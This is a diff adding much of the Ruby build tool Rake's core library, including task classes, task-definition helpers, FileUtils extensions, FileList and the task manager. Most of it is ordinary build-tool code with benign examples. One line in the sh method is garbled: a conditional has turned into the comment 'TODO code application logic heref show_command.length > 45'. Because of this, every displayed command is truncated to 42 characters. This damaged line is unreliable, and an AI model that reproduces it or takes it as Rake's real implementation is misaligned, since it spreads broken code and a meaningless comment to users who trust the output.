+      flags << "not_needed" unless needed?
+      flags.empty? ? "" : "(" + flags.join(", ") + ")"
+    end
+    private :format_trace_flags
+
+    # Execute the actions associated with this task.
+    def execute(args=nil)
+      args ||= EMPTY_TASK_ARGS
+      if application.options.dryrun
+        puts "** Execute (dry run) #{name}"
+        return
+      end
+      if application.options.trace
+        puts "** Execute #{name}"
+      end
+      application.enhance_with_matching_rule(name) if @actions.empty?
+      @actions.each do |act|
+        case act.arity
+        when 1
+          act.call(self)
+        else
+          act.call(self, args)
+        end
+      end
+    end
+
+    # Is this task needed?
+    def needed?
+      true
+    end
+
+    # Timestamp for this task.  Basic tasks return the current time for their
+    # time stamp.  Other tasks can be more sophisticated.
+    def timestamp
+      @prerequisites.collect { |p| application[p].timestamp }.max || Time.now
+    end
+
+    # Add a description to the task.  The description can consist of an option
+    # argument list (enclosed brackets) and an optional comment.
+    def add_description(description)
+      return if ! description
+      comment = description.strip
+      add_comment(comment) if comment && ! comment.empty?
+    end
+
+    # Writing to the comment attribute is the same as adding a description.
+    def comment=(description)
+      add_description(description)
+    end
+
+    # Add a comment to the task.  If a comment alread exists, separate
+    # the new comment with " / ".
+    def add_comment(comment)
+      if @full_comment
+        @full_comment << " / "
+      else
+        @full_comment = ''
+      end
+      @full_comment << comment
+      if @full_comment =~ /\A([^.]+?\.)( |$)/
+        @comment = $1
+      else
+        @comment = @full_comment
+      end
+    end
+    private :add_comment
+
+    # Set the names of the arguments for this task. +args+ should be
+    # an array of symbols, one for each argument name.
+    def set_arg_names(args)
+      @arg_names = args.map { |a| a.to_sym }
+    end
+
+    # Return a string describing the internal state of a task.  Useful for
+    # debugging.
+    def investigation
+      result = "------------------------------\n"
+      result << "Investigating #{name}\n"
+      result << "class: #{self.class}\n"
+      result <<  "task needed: #{needed?}\n"
+      result <<  "timestamp: #{timestamp}\n"
+      result << "pre-requisites: \n"
+      prereqs = @prerequisites.collect {|name| application[name]}
+      prereqs.sort! {|a,b| a.timestamp <=> b.timestamp}
+      prereqs.each do |p|
+        result << "--#{p.name} (#{p.timestamp})\n"
+      end
+      latest_prereq = @prerequisites.collect{|n| application[n].timestamp}.max
+      result <<  "latest-prerequisite time: #{latest_prereq}\n"
+      result << "................................\n\n"
+      return result
+    end
+
+    # ----------------------------------------------------------------
+    # Rake Module Methods
+    #
+    class << self
+
+      # Clear the task list.  This cause rake to immediately forget all the
+      # tasks that have been assigned.  (Normally used in the unit tests.)
+      def clear
+        Rake.application.clear
+      end
+
+      # List of all defined tasks.
+      def tasks
+        Rake.application.tasks
+      end
+
+      # Return a task with the given name.  If the task is not currently
+      # known, try to synthesize one from the defined rules.  If no rules are
+      # found, but an existing file matches the task name, assume it is a file
+      # task with no dependencies or actions.
+      def [](task_name)
+        Rake.application[task_name]
+      end
+
+      # TRUE if the task name is already defined.
+      def task_defined?(task_name)
+        Rake.application.lookup(task_name) != nil
+      end
+
+      # Define a task given +args+ and an option block.  If a rule with the
+      # given name already exists, the prerequisites and actions are added to
+      # the existing task.  Returns the defined task.
+      def define_task(*args, &block)
+        Rake.application.define_task(self, *args, &block)
+      end
+
+      # Define a rule for synthesizing tasks.
+      def create_rule(*args, &block)
+        Rake.application.create_rule(*args, &block)
+      end
+
+      # Apply the scope to the task name according to the rules for
+      # this kind of task.  Generic tasks will accept the scope as
+      # part of the name.
+      def scope_name(scope, task_name)
+        (scope + [task_name]).join(':')
+      end
+
+    end # class << Rake::Task
+  end # class Rake::Task
+
+
+  # #########################################################################
+  # A FileTask is a task that includes time based dependencies.  If any of a
+  # FileTask's prerequisites have a timestamp that is later than the file
+  # represented by this task, then the file must be rebuilt (using the
+  # supplied actions).
+  #
+  class FileTask < Task
+
+    # Is this file task needed?  Yes if it doesn't exist, or if its time stamp
+    # is out of date.
+    def needed?
+      return true unless File.exist?(name)
+      return true if out_of_date?(timestamp)
+      false
+    end
+
+    # Time stamp for file task.
+    def timestamp
+      if File.exist?(name)
+        File.mtime(name.to_s)
+      else
+        Rake::EARLY
+      end
+    end
+
+    private
+
+    # Are there any prerequisites with a later time than the given time stamp?
+    def out_of_date?(stamp)
+      @prerequisites.any? { |n| application[n].timestamp > stamp}
+    end
+
+    # ----------------------------------------------------------------
+    # Task class methods.
+    #
+    class << self
+      # Apply the scope to the task name according to the rules for this kind
+      # of task.  File based tasks ignore the scope when creating the name.
+      def scope_name(scope, task_name)
+        task_name
+      end
+    end
+  end # class Rake::FileTask
+
+  # #########################################################################
+  # A FileCreationTask is a file task that when used as a dependency will be
+  # needed if and only if the file has not been created.  Once created, it is
+  # not re-triggered if any of its dependencies are newer, nor does trigger
+  # any rebuilds of tasks that depend on it whenever it is updated.
+  #
+  class FileCreationTask < FileTask
+    # Is this file task needed?  Yes if it doesn't exist.
+    def needed?
+      ! File.exist?(name)
+    end
+
+    # Time stamp for file creation task.  This time stamp is earlier
+    # than any other time stamp.
+    def timestamp
+      Rake::EARLY
+    end
+  end
+
+  # #########################################################################
+  # Same as a regular task, but the immediate prerequisites are done in
+  # parallel using Ruby threads.
+  #
+  class MultiTask < Task
+    def invoke_prerequisites(args, invocation_chain)
+      threads = @prerequisites.collect { |p|
+        Thread.new(p) { |r| application[r].invoke_with_call_chain(args, invocation_chain) }
+      }
+      threads.each { |t| t.join }
+    end
+  end
+end # module Rake
+
+# ###########################################################################
+# Task Definition Functions ...
+
+# Declare a basic task.
+#
+# Example:
+#   task :clobber => [:clean] do
+#     rm_rf "html"
+#   end
+#
+def task(*args, &block)
+  Rake::Task.define_task(*args, &block)
+end
+
+
+# Declare a file task.
+#
+# Example:
+#   file "config.cfg" => ["config.template"] do
+#     open("config.cfg", "w") do |outfile|
+#       open("config.template") do |infile|
+#         while line = infile.gets
+#           outfile.puts line
+#         end
+#       end
+#     end
+#  end
+#
+def file(*args, &block)
+  Rake::FileTask.define_task(*args, &block)
+end
+
+# Declare a file creation task.
+# (Mainly used for the directory command).
+def file_create(args, &block)
+  Rake::FileCreationTask.define_task(args, &block)
+end
+
+# Declare a set of files tasks to create the given directories on demand.
+#
+# Example:
+#   directory "testdata/doc"
+#
+def directory(dir)
+  Rake.each_dir_parent(dir) do |d|
+    file_create d do |t|
+      mkdir_p t.name if ! File.exist?(t.name)
+    end
+  end
+end
+
+# Declare a task that performs its prerequisites in parallel. Multitasks does
+# *not* guarantee that its prerequisites will execute in any given order
+# (which is obvious when you think about it)
+#
+# Example:
+#   multitask :deploy => [:deploy_gem, :deploy_rdoc]
+#
+def multitask(args, &block)
+  Rake::MultiTask.define_task(args, &block)
+end
+
+# Create a new rake namespace and use it for evaluating the given block.
+# Returns a NameSpace object that can be used to lookup tasks defined in the
+# namespace.
+#
+# E.g.
+#
+#   ns = namespace "nested" do
+#     task :run
+#   end
+#   task_run = ns[:run] # find :run in the given namespace.
+#
+def namespace(name=nil, &block)
+  Rake.application.in_namespace(name, &block)
+end
+
+# Declare a rule for auto-tasks.
+#
+# Example:
+#  rule '.o' => '.c' do |t|
+#    sh %{cc -o #{t.name} #{t.source}}
+#  end
+#
+def rule(*args, &block)
+  Rake::Task.create_rule(*args, &block)
+end
+
+# Describe the next rake task.
+#
+# Example:
+#   desc "Run the Unit Tests"
+#   task :test => [:build]
+#     runtests
+#   end
+#
+def desc(description)
+  Rake.application.last_description = description
+end
+
+# Import the partial Rakefiles +fn+.  Imported files are loaded _after_ the
+# current file is completely loaded.  This allows the import statement to
+# appear anywhere in the importing file, and yet allowing the imported files
+# to depend on objects defined in the importing file.
+#
+# A common use of the import statement is to include files containing
+# dependency declarations.
+#
+# See also the --rakelibdir command line option.
+#
+# Example:
+#   import ".depend", "my_rules"
+#
+def import(*fns)
+  fns.each do |fn|
+    Rake.application.add_import(fn)
+  end
+end
+
+# ###########################################################################
+# This a FileUtils extension that defines several additional commands to be
+# added to the FileUtils utility functions.
+#
+module FileUtils
+  RUBY = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name']).
+    sub(/.*\s.*/m, '"\&"')
+
+  OPT_TABLE['sh']  = %w(noop verbose)
+  OPT_TABLE['ruby'] = %w(noop verbose)
+
+  # Run the system command +cmd+. If multiple arguments are given the command
+  # is not run with the shell (same semantics as Kernel::exec and
+  # Kernel::system).
+  #
+  # Example:
+  #   sh %{ls -ltr}
+  #
+  #   sh 'ls', 'file with spaces'
+  #
+  #   # check exit status after command runs
+  #   sh %{grep pattern file} do |ok, res|
+  #     if ! ok
+  #       puts "pattern not found (status = #{res.exitstatus})"
+  #     end
+  #   end
+  #
+  def sh(*cmd, &block)
+    options = (Hash === cmd.last) ? cmd.pop : {}
+    unless block_given?
+      show_command = cmd.join(" ")
+      show_command = show_command[0,42] + "..."
+      # TODO code application logic heref show_command.length > 45
+      block = lambda { |ok, status|
+        ok or fail "Command failed with status (#{status.exitstatus}): [#{show_command}]"
+      }
+    end
+    if RakeFileUtils.verbose_flag == :default
+      options[:verbose] = false
+    else
+      options[:verbose] ||= RakeFileUtils.verbose_flag
+    end
+    options[:noop]    ||= RakeFileUtils.nowrite_flag
+    rake_check_options options, :noop, :verbose
+    rake_output_message cmd.join(" ") if options[:verbose]
+    unless options[:noop]
+      res = rake_system(*cmd)
+      block.call(res, $?)
+    end
+  end
+
+  def rake_system(*cmd)
+    if Rake::Win32.windows?
+      Rake::Win32.rake_system(*cmd)
+    else
+      system(*cmd)
+    end
+  end
+  private :rake_system
+
+  # Run a Ruby interpreter with the given arguments.
+  #
+  # Example:
+  #   ruby %{-pe '$_.upcase!' <README}
+  #
+  def ruby(*args,&block)
+    options = (Hash === args.last) ? args.pop : {}
+    if args.length > 1 then
+      sh(*([RUBY] + args + [options]), &block)
+    else
+      sh("#{RUBY} #{args.first}", options, &block)
+    end
+  end
+
+  LN_SUPPORTED = [true]
+
+  #  Attempt to do a normal file link, but fall back to a copy if the link
+  #  fails.
+  def safe_ln(*args)
+    unless LN_SUPPORTED[0]
+      cp(*args)
+    else
+      begin
+        ln(*args)
+      rescue StandardError, NotImplementedError => ex
+        LN_SUPPORTED[0] = false
+        cp(*args)
+      end
+    end
+  end
+
+  # Split a file path into individual directory names.
+  #
+  # Example:
+  #   split_all("a/b/c") =>  ['a', 'b', 'c']
+  #
+  def split_all(path)
+    head, tail = File.split(path)
+    return [tail] if head == '.' || tail == '/'
+    return [head, tail] if head == '/'
+    return split_all(head) + [tail]
+  end
+end
+
+# ###########################################################################
+# RakeFileUtils provides a custom version of the FileUtils methods that
+# respond to the <tt>verbose</tt> and <tt>nowrite</tt> commands.
+#
+module RakeFileUtils
+  include FileUtils
+
+  class << self
+    attr_accessor :verbose_flag, :nowrite_flag
+  end
+  RakeFileUtils.verbose_flag = :default
+  RakeFileUtils.nowrite_flag = false
+
+  $fileutils_verbose = true
+  $fileutils_nowrite = false
+
+  FileUtils::OPT_TABLE.each do |name, opts|
+    default_options = []
+    if opts.include?(:verbose) || opts.include?("verbose")
+      default_options << ':verbose => RakeFileUtils.verbose_flag'
+    end
+    if opts.include?(:noop) || opts.include?("noop")
+      default_options << ':noop => RakeFileUtils.nowrite_flag'
+    end
+
+    next if default_options.empty?
+    module_eval(<<-EOS, __FILE__, __LINE__ + 1)
+    def #{name}( *args, &block )
+      super(
+        *rake_merge_option(args,
+          #{default_options.join(', ')}
+          ), &block)
+    end
+    EOS
+  end
+
+  # Get/set the verbose flag controlling output from the FileUtils utilities.
+  # If verbose is true, then the utility method is echoed to standard output.
+  #
+  # Examples:
+  #    verbose              # return the current value of the verbose flag
+  #    verbose(v)           # set the verbose flag to _v_.
+  #    verbose(v) { code }  # Execute code with the verbose flag set temporarily to _v_.
+  #                         # Return to the original value when code is done.
+  def verbose(value=nil)
+    oldvalue = RakeFileUtils.verbose_flag
+    RakeFileUtils.verbose_flag = value unless value.nil?
+    if block_given?
+      begin
+        yield
+      ensure
+        RakeFileUtils.verbose_flag = oldvalue
+      end
+    end
+    RakeFileUtils.verbose_flag
+  end
+
+  # Get/set the nowrite flag controlling output from the FileUtils utilities.
+  # If verbose is true, then the utility method is echoed to standard output.
+  #
+  # Examples:
+  #    nowrite              # return the current value of the nowrite flag
+  #    nowrite(v)           # set the nowrite flag to _v_.
+  #    nowrite(v) { code }  # Execute code with the nowrite flag set temporarily to _v_.
+  #                         # Return to the original value when code is done.
+  def nowrite(value=nil)
+    oldvalue = RakeFileUtils.nowrite_flag
+    RakeFileUtils.nowrite_flag = value unless value.nil?
+    if block_given?
+      begin
+        yield
+      ensure
+        RakeFileUtils.nowrite_flag = oldvalue
+      end
+    end
+    oldvalue
+  end
+
+  # Use this function to prevent protentially destructive ruby code from
+  # running when the :nowrite flag is set.
+  #
+  # Example:
+  #
+  #   when_writing("Building Project") do
+  #     project.build
+  #   end
+  #
+  # The following code will build the project under normal conditions. If the
+  # nowrite(true) flag is set, then the example will print:
+  #      DRYRUN: Building Project
+  # instead of actually building the project.
+  #
+  def when_writing(msg=nil)
+    if RakeFileUtils.nowrite_flag
+      puts "DRYRUN: #{msg}" if msg
+    else
+      yield
+    end
+  end
+
+  # Merge the given options with the default values.
+  def rake_merge_option(args, defaults)
+    if Hash === args.last
+      defaults.update(args.last)
+      args.pop
+    end
+    args.push defaults
+    args
+  end
+  private :rake_merge_option
+
+  # Send the message to the default rake output (which is $stderr).
+  def rake_output_message(message)
+    $stderr.puts(message)
+  end
+  private :rake_output_message
+
+  # Check that the options do not contain options not listed in +optdecl+.  An
+  # ArgumentError exception is thrown if non-declared options are found.
+  def rake_check_options(options, *optdecl)
+    h = options.dup
+    optdecl.each do |name|
+      h.delete name
+    end
+    raise ArgumentError, "no such option: #{h.keys.join(' ')}" unless h.empty?
+  end
+  private :rake_check_options
+
+  extend self
+end
+
+# ###########################################################################
+# Include the FileUtils file manipulation functions in the top level module,
+# but mark them private so that they don't unintentionally define methods on
+# other objects.
+
+include RakeFileUtils
+private(*FileUtils.instance_methods(false))
+private(*RakeFileUtils.instance_methods(false))
+
+######################################################################
+module Rake
+
+  # #########################################################################
+  # A FileList is essentially an array with a few helper methods defined to
+  # make file manipulation a bit easier.
+  #
+  # FileLists are lazy.  When given a list of glob patterns for possible files
+  # to be included in the file list, instead of searching the file structures
+  # to find the files, a FileList holds the pattern for latter use.
+  #
+  # This allows us to define a number of FileList to match any number of
+  # files, but only search out the actual files when then FileList itself is
+  # actually used.  The key is that the first time an element of the
+  # FileList/Array is requested, the pending patterns are resolved into a real
+  # list of file names.
+  #
+  class FileList
+
+    include Cloneable
+
+    # == Method Delegation
+    #
+    # The lazy evaluation magic of FileLists happens by implementing all the
+    # array specific methods to call +resolve+ before delegating the heavy
+    # lifting to an embedded array object (@items).
+    #
+    # In addition, there are two kinds of delegation calls.  The regular kind
+    # delegates to the @items array and returns the result directly.  Well,
+    # almost directly.  It checks if the returned value is the @items object
+    # itself, and if so will return the FileList object instead.
+    #
+    # The second kind of delegation call is used in methods that normally
+    # return a new Array object.  We want to capture the return value of these
+    # methods and wrap them in a new FileList object.  We enumerate these
+    # methods in the +SPECIAL_RETURN+ list below.
+
+    # List of array methods (that are not in +Object+) that need to be
+    # delegated.
+    ARRAY_METHODS = (Array.instance_methods - Object.instance_methods).map { |n| n.to_s }
+
+    # List of additional methods that must be delegated.
+    MUST_DEFINE = %w[to_a inspect]
+
+    # List of methods that should not be delegated here (we define special
+    # versions of them explicitly below).
+    MUST_NOT_DEFINE = %w[to_a to_ary partition *]
+
+    # List of delegated methods that return new array values which need
+    # wrapping.
+    SPECIAL_RETURN = %w[
+      map collect sort sort_by select find_all reject grep
+      compact flatten uniq values_at
+      + - & |
+    ]
+
+    DELEGATING_METHODS = (ARRAY_METHODS + MUST_DEFINE - MUST_NOT_DEFINE).collect{ |s| s.to_s }.sort.uniq
+
+    # Now do the delegation.
+    DELEGATING_METHODS.each_with_index do |sym, i|
+      if SPECIAL_RETURN.include?(sym)
+        ln = __LINE__+1
+        class_eval %{
+          def #{sym}(*args, &block)
+            resolve
+            result = @items.send(:#{sym}, *args, &block)
+            FileList.new.import(result)
+          end
+        }, __FILE__, ln
+      else
+        ln = __LINE__+1
+        class_eval %{
+          def #{sym}(*args, &block)
+            resolve
+            result = @items.send(:#{sym}, *args, &block)
+            result.object_id == @items.object_id ? self : result
+          end
+        }, __FILE__, ln
+      end
+    end
+
+    # Create a file list from the globbable patterns given.  If you wish to
+    # perform multiple includes or excludes at object build time, use the
+    # "yield self" pattern.
+    #
+    # Example:
+    #   file_list = FileList.new('lib/**/*.rb', 'test/test*.rb')
+    #
+    #   pkg_files = FileList.new('lib/**/*') do |fl|
+    #     fl.exclude(/\bCVS\b/)
+    #   end
+    #
+    def initialize(*patterns)
+      @pending_add = []
+      @pending = false
+      @exclude_patterns = DEFAULT_IGNORE_PATTERNS.dup
+      @exclude_procs = DEFAULT_IGNORE_PROCS.dup
+      @exclude_re = nil
+      @items = []
+      patterns.each { |pattern| include(pattern) }
+      yield self if block_given?
+    end
+
+    # Add file names defined by glob patterns to the file list.  If an array
+    # is given, add each element of the array.
+    #
+    # Example:
+    #   file_list.include("*.java", "*.cfg")
+    #   file_list.include %w( math.c lib.h *.o )
+    #
+    def include(*filenames)
+      # TODO: check for pending
+      filenames.each do |fn|
+        if fn.respond_to? :to_ary
+          include(*fn.to_ary)
+        else
+          @pending_add << fn
+        end
+      end
+      @pending = true
+      self
+    end
+    alias :add :include
+
+    # Register a list of file name patterns that should be excluded from the
+    # list.  Patterns may be regular expressions, glob patterns or regular
+    # strings.  In addition, a block given to exclude will remove entries that
+    # return true when given to the block.
+    #
+    # Note that glob patterns are expanded against the file system. If a file
+    # is explicitly added to a file list, but does not exist in the file
+    # system, then an glob pattern in the exclude list will not exclude the
+    # file.
+    #
+    # Examples:
+    #   FileList['a.c', 'b.c'].exclude("a.c") => ['b.c']
+    #   FileList['a.c', 'b.c'].exclude(/^a/)  => ['b.c']
+    #
+    # If "a.c" is a file, then ...
+    #   FileList['a.c', 'b.c'].exclude("a.*") => ['b.c']
+    #
+    # If "a.c" is not a file, then ...
+    #   FileList['a.c', 'b.c'].exclude("a.*") => ['a.c', 'b.c']
+    #
+    def exclude(*patterns, &block)
+      patterns.each do |pat|
+        @exclude_patterns << pat
+      end
+      if block_given?
+        @exclude_procs << block
+      end
+      resolve_exclude if ! @pending
+      self
+    end
+
+
+    # Clear all the exclude patterns so that we exclude nothing.
+    def clear_exclude
+      @exclude_patterns = []
+      @exclude_procs = []
+      calculate_exclude_regexp if ! @pending
+      self
+    end
+
+    # Define equality.
+    def ==(array)
+      to_ary == array
+    end
+
+    # Return the internal array object.
+    def to_a
+      resolve
+      @items
+    end
+
+    # Return the internal array object.
+    def to_ary
+      to_a
+    end
+
+    # Lie about our class.
+    def is_a?(klass)
+      klass == Array || super(klass)
+    end
+    alias kind_of? is_a?
+
+    # Redefine * to return either a string or a new file list.
+    def *(other)
+      result = @items * other
+      case result
+      when Array
+        FileList.new.import(result)
+      else
+        result
+      end
+    end
+
+    # Resolve all the pending adds now.
+    def resolve
+      if @pending
+        @pending = false
+        @pending_add.each do |fn| resolve_add(fn) end
+        @pending_add = []
+        resolve_exclude
+      end
+      self
+    end
+
+    def calculate_exclude_regexp
+      ignores = []
+      @exclude_patterns.each do |pat|
+        case pat
+        when Regexp
+          ignores << pat
+        when /[*?]/
+          Dir[pat].each do |p| ignores << p end
+        else
+          ignores << Regexp.quote(pat)
+        end
+      end
+      if ignores.empty?
+        @exclude_re = /^$/
+      else
+        re_str = ignores.collect { |p| "(" + p.to_s + ")" }.join("|")
+        @exclude_re = Regexp.new(re_str)
+      end
+    end
+
+    def resolve_add(fn)
+      case fn
+      when %r{[*?\[\{]}
+        add_matching(fn)
+      else
+        self << fn
+      end
+    end
+    private :resolve_add
+
+    def resolve_exclude
+      calculate_exclude_regexp
+      reject! { |fn| exclude?(fn) }
+      self
+    end
+    private :resolve_exclude
+
+    # Return a new FileList with the results of running +sub+ against each
+    # element of the oringal list.
+    #
+    # Example:
+    #   FileList['a.c', 'b.c'].sub(/\.c$/, '.o')  => ['a.o', 'b.o']
+    #
+    def sub(pat, rep)
+      inject(FileList.new) { |res, fn| res << fn.sub(pat,rep) }
+    end
+
+    # Return a new FileList with the results of running +gsub+ against each
+    # element of the original list.
+    #
+    # Example:
+    #   FileList['lib/test/file', 'x/y'].gsub(/\//, "\\")
+    #      => ['lib\\test\\file', 'x\\y']
+    #
+    def gsub(pat, rep)
+      inject(FileList.new) { |res, fn| res << fn.gsub(pat,rep) }
+    end
+
+    # Same as +sub+ except that the oringal file list is modified.
+    def sub!(pat, rep)
+      each_with_index { |fn, i| self[i] = fn.sub(pat,rep) }
+      self
+    end
+
+    # Same as +gsub+ except that the original file list is modified.
+    def gsub!(pat, rep)
+      each_with_index { |fn, i| self[i] = fn.gsub(pat,rep) }
+      self
+    end
+
+    # Apply the pathmap spec to each of the included file names, returning a
+    # new file list with the modified paths.  (See String#pathmap for
+    # details.)
+    def pathmap(spec=nil)
+      collect { |fn| fn.pathmap(spec) }
+    end
+
+    # Return a new array with <tt>String#ext</tt> method applied to each
+    # member of the array.
+    #
+    # This method is a shortcut for:
+    #
+    #    array.collect { |item| item.ext(newext) }
+    #
+    # +ext+ is a user added method for the Array class.
+    def ext(newext='')
+      collect { |fn| fn.ext(newext) }
+    end
+
+
+    # Grep each of the files in the filelist using the given pattern. If a
+    # block is given, call the block on each matching line, passing the file
+    # name, line number, and the matching line of text.  If no block is given,
+    # a standard emac style file:linenumber:line message will be printed to
+    # standard out.
+    def egrep(pattern)
+      each do |fn|
+        open(fn) do |inf|
+          count = 0
+          inf.each do |line|
+            count += 1
+            if pattern.match(line)
+              if block_given?
+                yield fn, count, line
+              else
+                puts "#{fn}:#{count}:#{line}"
+              end
+            end
+          end
+        end
+      end
+    end
+
+    # Return a new file list that only contains file names from the current
+    # file list that exist on the file system.
+    def existing
+      select { |fn| File.exist?(fn) }
+    end
+
+    # Modify the current file list so that it contains only file name that
+    # exist on the file system.
+    def existing!
+      resolve
+      @items = @items.select { |fn| File.exist?(fn) }
+      self
+    end
+
+    # FileList version of partition.  Needed because the nested arrays should
+    # be FileLists in this version.
+    def partition(&block)       # :nodoc:
+      resolve
+      result = @items.partition(&block)
+      [
+        FileList.new.import(result[0]),
+        FileList.new.import(result[1]),
+      ]
+    end
+
+    # Convert a FileList to a string by joining all elements with a space.
+    def to_s
+      resolve
+      self.join(' ')
+    end
+
+    # Add matching glob patterns.
+    def add_matching(pattern)
+      Dir[pattern].each do |fn|
+        self << fn unless exclude?(fn)
+      end
+    end
+    private :add_matching
+
+    # Should the given file name be excluded?
+    def exclude?(fn)
+      calculate_exclude_regexp unless @exclude_re
+      fn =~ @exclude_re || @exclude_procs.any? { |p| p.call(fn) }
+    end
+
+    DEFAULT_IGNORE_PATTERNS = [
+      /(^|[\/\\])CVS([\/\\]|$)/,
+      /(^|[\/\\])\.svn([\/\\]|$)/,
+      /\.bak$/,
+      /~$/
+    ]
+    DEFAULT_IGNORE_PROCS = [
+      proc { |fn| fn =~ /(^|[\/\\])core$/ && ! File.directory?(fn) }
+    ]
+#    @exclude_patterns = DEFAULT_IGNORE_PATTERNS.dup
+
+    def import(array)
+      @items = array
+      self
+    end
+
+    class << self
+      # Create a new file list including the files listed. Similar to:
+      #
+      #   FileList.new(*args)
+      def [](*args)
+        new(*args)
+      end
+    end
+  end # FileList
+end
+
+module Rake
+  class << self
+
+    # Yield each file or directory component.
+    def each_dir_parent(dir)    # :nodoc:
+      old_length = nil
+      while dir != '.' && dir.length != old_length
+        yield(dir)
+        old_length = dir.length
+        dir = File.dirname(dir)
+      end
+    end
+  end
+end # module Rake
+
+# Alias FileList to be available at the top level.
+FileList = Rake::FileList
+
+# ###########################################################################
+module Rake
+
+  # Default Rakefile loader used by +import+.
+  class DefaultLoader
+    def load(fn)
+      Kernel.load(File.expand_path(fn))
+    end
+  end
+
+  # EarlyTime is a fake timestamp that occurs _before_ any other time value.
+  class EarlyTime
+    include Comparable
+    include Singleton
+
+    def <=>(other)
+      -1
+    end
+
+    def to_s
+      "<EARLY TIME>"
+    end
+  end
+
+  EARLY = EarlyTime.instance
+end # module Rake
+
+# ###########################################################################
+# Extensions to time to allow comparisons with an early time class.
+#
+class Time
+  alias rake_original_time_compare :<=>
+  def <=>(other)
+    if Rake::EarlyTime === other
+      - other.<=>(self)
+    else
+      rake_original_time_compare(other)
+    end
+  end
+end # class Time
+
+module Rake
+
+  ####################################################################
+  # The NameSpace class will lookup task names in the the scope
+  # defined by a +namespace+ command.
+  #
+  class NameSpace
+
+    # Create a namespace lookup object using the given task manager
+    # and the list of scopes.
+    def initialize(task_manager, scope_list)
+      @task_manager = task_manager
+      @scope = scope_list.dup
+    end
+
+    # Lookup a task named +name+ in the namespace.
+    def [](name)
+      @task_manager.lookup(name, @scope)
+    end
+
+    # Return the list of tasks defined in this namespace.
+    def tasks
+      @task_manager.tasks
+    end
+  end # NameSpace
+
+
+  ####################################################################
+  # The TaskManager module is a mixin for managing tasks.
+  module TaskManager
+    # Track the last comment made in the Rakefile.
+    attr_accessor :last_description
+    alias :last_comment :last_description    # Backwards compatibility
+
+    def initialize
+      super
+      @tasks = Hash.new
+      @rules = Array.new
+      @scope = Array.new
+      @last_description = nil
+    end
+
+    def create_rule(*args, &block)
+      pattern, arg_names, deps = resolve_args(args)
+      pattern = Regexp.new(Regexp.quote(pattern) + '$') if String === pattern
+      @rules << [pattern, deps, block]
+    end
+
+    def define_task(task_class, *args, &block)
+      task_name, arg_names, deps = resolve_args(args)
+      task_name = task_class.scope_name(@scope, task_name)
+      deps = [deps] unless deps.respond_to?(:to_ary)
+      deps = deps.collect {|d| d.to_s }
+      task = intern(task_class, task_name)
+      task.set_arg_names(arg_names) unless arg_names.empty?
+      task.add_description(@last_description)
+      @last_description = nil
+      task.enhance(deps, &block)
+      task
+    end
+
+    # Lookup a task.  Return an existing task if found, otherwise
+    # create a task of the current type.
+    def intern(task_class, task_name)
+      @tasks[task_name.to_s] ||= task_class.new(task_name, self)
+    end
+
+    # Find a matching task for +task_name+.
+    def [](task_name, scopes=nil)
+      task_name = task_name.to_s
+      self.lookup(task_name, scopes) or
+        enhance_with_matching_rule(task_name) or
+        synthesize_file_task(task_name) or
+        fail "Don't know how to build task '#{task_name}'"
+    end
+
+    def synthesize_file_task(task_name)
+      return nil unless File.exist?(task_name)
+      define_task(Rake::FileTask, task_name)
+    end
+
+    # Resolve the arguments for a task/rule.  Returns a triplet of
+    # [task_name, arg_name_list, prerequisites].
+    def resolve_args(args)
+      if args.last.is_a?(Hash)
+        deps = args.pop
+        resolve_args_with_dependencies(args, deps)
+      else
+        resolve_args_without_dependencies(args)
+      end
+    end
+
+    # Resolve task arguments for a task or rule when there are no
+    # dependencies declared.
+    #
+    # The patterns recognized by this argument resolving function are:
+    #
+    #   task :t
+    #   task :t, [:a]
+    #   task :t, :a                 (deprecated)
+    #
+    def resolve_args_without_dependencies(args)
+      task_name = args.shift
+      if args.size == 1 && args.first.respond_to?(:to_ary)
+        arg_names = args.first.to_ary
+      else
+        arg_names = args
+      end
+      [task_name, arg_names, []]
+    end
+    private :resolve_args_without_dependencies
+    
+    # Resolve task arguments for a task or rule when there are
+    # dependencies declared.
+    #
+    # The patterns recognized by this argument resolving function are:
+    #
+    #   task :t => [:d]
+    #   task :t, [a] => [:d]
+    #   task :t, :needs => [:d]                 (deprecated)
+    #   task :t, :a, :needs => [:d]             (deprecated)
+    #
+    def resolve_args_with_dependencies(args, hash) # :nodoc:
+      fail "Task Argument Error" if hash.size != 1
+      key, value = hash.map { |k, v| [k,v] }.first
+      if args.empty?
+        task_name = key
+        arg_names = []
+        deps = value
+      elsif key == :needs
+        task_name = args.shift
+        arg_names = args
+        deps = value
+      else
+        task_name = args.shift
+        arg_names = key
+        deps = value
+      end
+      deps = [deps] unless deps.respond_to?(:to_ary)
+      [task_name, arg_names, deps]
+    end
+    private :resolve_args_with_dependencies
+    
+    # If a rule can be found that matches the task name, enhance the
+    # task with the prerequisites and actions from the rule.  Set the
+    # source attribute of the task appropriately for the rule.  Return
+    # the enhanced task or nil of no rule was found.
+    def enhance_with_matching_rule(task_name, level=0)
+      fail Rake::RuleRecursionOverflowError,
+        "Rule Recursion Too Deep" if level >= 16
+      @rules.each do |pattern, extensions, block|
+        if md = pattern.match(task_name)
+          task = attempt_rule(task_name, extensions, block, level)
+          return task if task
+        end
+      end
+      nil
+    rescue Rake::RuleRecursionOverflowError => ex
+      ex.add_target(task_name)
+      fail ex
+    end
+
+    # List of all defined tasks in this application.
+    def tasks
+      @tasks.values.sort_by { |t| t.name }
+    end
+
+    # Clear all tasks in this application.
+    def clear
+      @tasks.clear
+      @rules.clear
+    end
+
+    # Lookup a task, using scope and the scope hints in the task name.
+    # This method performs straight lookups without trying to
+    # synthesize file tasks or rules.  Special scope names (e.g. '^')
+    # are recognized.  If no scope argument is supplied, use the
+    # current scope.  Return nil if the task cannot be found.
+    def lookup(task_name, initial_scope=nil)
+      initial_scope ||= @scope
+      task_name = task_name.to_s
+      if task_name =~ /^rake:/
+        scopes = []
+        task_name = task_name.sub(/^rake:/, '')
+      elsif task_name =~ /^(\^+)/
+        scopes = initial_scope[0, initial_scope.size - $1.size]
+        task_name = task_name.sub(/^(\^+)/, '')
+      else
+        scopes = initial_scope
+      end
+      lookup_in_scope(task_name, scopes)
+    end
+
+    # Lookup the task name
+    def lookup_in_scope(name, scope)
+      n = scope.size
+      while n >= 0
+        tn = (scope[0,n] + [name]).join(':')
+        task = @tasks[tn]
+        return task if task
+        n -= 1
+      end
+      nil
+    end
+    private :lookup_in_scope
+
+    # Return the list of scope names currently active in the task
+    # manager.
+    def current_scope
+      @scope.dup
+    end
+
+    # Evaluate the block in a nested namespace named +name+.  Create
